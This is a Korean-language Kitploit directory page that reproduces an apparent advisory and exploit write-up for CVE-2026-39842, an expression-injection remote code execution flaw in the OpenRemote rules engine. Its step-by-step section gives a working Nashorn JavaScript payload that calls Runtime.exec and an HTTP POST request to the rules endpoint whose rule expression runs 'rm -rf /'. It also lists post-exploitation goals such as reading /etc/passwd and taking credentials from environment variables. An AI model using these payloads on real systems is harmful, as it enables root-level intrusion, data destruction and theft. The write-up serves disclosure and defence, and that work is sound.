Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39842 — OpenRemote의 Rules Engine에서 발견된 심각한 원격 코드 실행 취약점으로, `write:rules` 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다. | Kitploit
도구/GitHubGitHub/keraattin/cve-2026-39842
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubkeraattin/cve-2026-39842

CVE-2026-39842

OpenRemote의 Rules Engine에서 발견된 심각한 원격 코드 실행 취약점으로, `write:rules` 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.

저장소 보기
1125개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39842: OpenRemote 규칙 엔진의 표현식 주입을 통한 원격 코드 실행(RCE)

CVE-2026-39842 CVSS 10.0 Critical CWE-94 CWE-917 OpenRemote Status FIXED

TL;DR

OpenRemote 규칙 엔진의 치명적인 원격 코드 실행 취약점으로, write:rules 역할을 가진 인증된 사용자가 서버에서 루트 권한으로 임의 코드를 실행할 수 있습니다.

  • CVSS 점수: 10.0 (Critical)
  • CVSS 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • 영향받는 버전: OpenRemote <= 1.21.0
  • 수정된 버전: OpenRemote >= 1.22.0
  • 인증 필요: 예 (write:rules 역할, 비-슈퍼유저 가능)
  • 악용 결과: 루트 사용자로 RCE, 파일 시스템 접근, 환경 변수 탈취, 멀티테넌트 데이터 유출
  • 보안 권고: GHSA-7mqr-33rv-p3mp

목차

  • 빠른 요약
  • OpenRemote란 무엇인가?
  • 취약점 심층 분석
  • 영향 분석
  • 영향받는 버전
  • 탐지
  • 침해 지표
  • 수정 및 완화
  • 참고 자료
  • 저자

빠른 요약

항목세부 사항
CVE IDCVE-2026-39842
GHSA IDGHSA-7mqr-33rv-p3mp
취약점 유형코드 주입 / 표현식 언어 주입
CVSS 점수10.0 (Critical)
CWECWE-94, CWE-917
제품OpenRemote
영향받는 버전<= 1.21.0
수정된 버전>= 1.22.0
인증 필요예
필요 권한 수준write:rules 역할 (비-슈퍼유저)
취약한 엔드포인트POST /api/{realm}/rules/realm, POST /api/{realm}/rules/asset
RCE 실행 권한root
악용 가능성높음
복잡도낮음
발견 날짜2026

OpenRemote란 무엇인가?

OpenRemote는 스마트 빌딩, 스마트 시티, 산업 분야를 위한 오픈소스 IoT 플랫폼입니다. 사물인터넷 생태계를 위한 장치 관리, 자동화 규칙, 분석 및 통합 기능을 제공합니다.

주요 기능

  • 여러 프로토콜(MQTT, Modbus, BACnet, HTTP)에 걸친 장치 및 자산 관리
  • IoT 자동화 및 로직 처리를 위한 규칙 엔진
  • 역할 기반 접근 제어를 갖춘 멀티테넌트 아키텍처
  • 실시간 대시보드 및 모니터링
  • 여러 스크립트 언어를 사용한 사용자 정의 규칙 생성
  • 통합 및 관리를 위한 REST API
  • 클라우드 및 온프레미스 배포 옵션

OpenRemote 아키텍처```

                  Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

┌──────────┐ ┌──────────┐ ┌──────────────┐ | Rules | | Asset | | Notification | | Engine | | Storage | | Service | └──────────┘ └──────────┘ └──────────────┘ | | v v ┌──────────────────────────────────┐ | PostgreSQL / Timescale Database | └──────────────────────────────────┘

---

## 취약점 심층 분석

### 근본 원인 분석

이 취약점은 OpenRemote의 규칙 엔진에 존재하는 두 가지 치명적인 결함에서 비롯됩니다:

**결함 1: 샌드박스가 없는 Nashorn JavaScript 엔진**

Java Nashorn JavaScript 엔진은 사용자가 제공한 규칙 표현식을 샌드박싱, 보안 관리자 또는 ClassFilter 제한 없이 평가하는 데 사용됩니다. 이로 인해 공격자는 JavaScript 컨텍스트에서 직접 Java 클래스에 접근할 수 있습니다.

**결함 2: 비활성화된 Groovy 샌드박스**

Groovy 스크립트 엔진에는 코드 실행을 방지하기 위해 GroovyDenyAllFilter가 등록되어 있었지만, 이 필터 등록은 코드베이스에서 주석 처리되었습니다. API 수준(RulesResourceImpl.java:262)에서만 Groovy 제한이 존재했으며, JavaScript에는 제한이 전혀 없었습니다.

### 취약한 코드 경로```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

인증 우회

이 취약점은 write:rules 역할을 가진 인증된 사용자에게 영향을 미칩니다. RulesResourceImpl.java:262의 인증 검사는 슈퍼유저가 아닌 사용자에 대해서만 Groovy를 차단합니다:``` if (!isUserSuperuser && isGroovy) { throw new UnauthorizedException("Groovy rules not allowed"); }

이는 다음을 의미합니다:
- 비슈퍼유저도 JavaScript 규칙을 생성할 수 있음 (차단 없음)
- 비슈퍼유저는 Groovy 규칙을 생성할 수 없음 (차단됨)
- JavaScript에는 샌드박싱이 없으므로 write:rules 권한이 있는 모든 인증된 사용자가 악용할 수 있음

또한, assetStorageService에 대한 리플렉션을 통해 멀티테넌트 격리를 우회하여 다른 영역의 데이터에 접근할 수 있습니다.

### 공격 흐름```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

단계별 익스플로잇

1단계: write:rules 자격 증명 획득

인증된 사용자에게는 write:rules 역할이 필요합니다. 이는 다음과 같을 수 있습니다:

  • 합법적인 시스템 관리자
  • 손상된 계정
  • 과도한 역할이 할당된 사용자

2단계: JavaScript 페이로드 제작

Java Runtime에 접근하는 JavaScript를 사용하여 규칙 표현식을 생성합니다:```javascript var result = ""; try { var runtime = Java.type("java.lang.Runtime").getRuntime(); var process = runtime.exec("id"); var reader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()) ); var line; while ((line = reader.readLine()) != null) { result += line; } } catch (e) { result = e.toString(); } result;

**3단계: 취약한 엔드포인트로 전송**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

4단계: 규칙 실행

플랫폼은 규칙을 즉시 또는 예약된 트리거 시간에 평가하여 루트 권한으로 페이로드를 실행합니다.

5단계: 사후 악용

루트 권한의 RCE를 통해 공격자는 다음을 수행할 수 있습니다:

  • 민감한 파일 읽기 (/etc/passwd, 애플리케이션 구성 파일)
  • API 키와 자격 증명이 포함된 환경 변수 탈취
  • 시스템 구성 수정
  • 백도어 또는 지속성 메커니즘 설치
  • PostgreSQL 데이터베이스에 직접 접근
  • 다중 테넌트 배포에서 모든 테넌트의 데이터 유출

영향 분석

도구 다운로드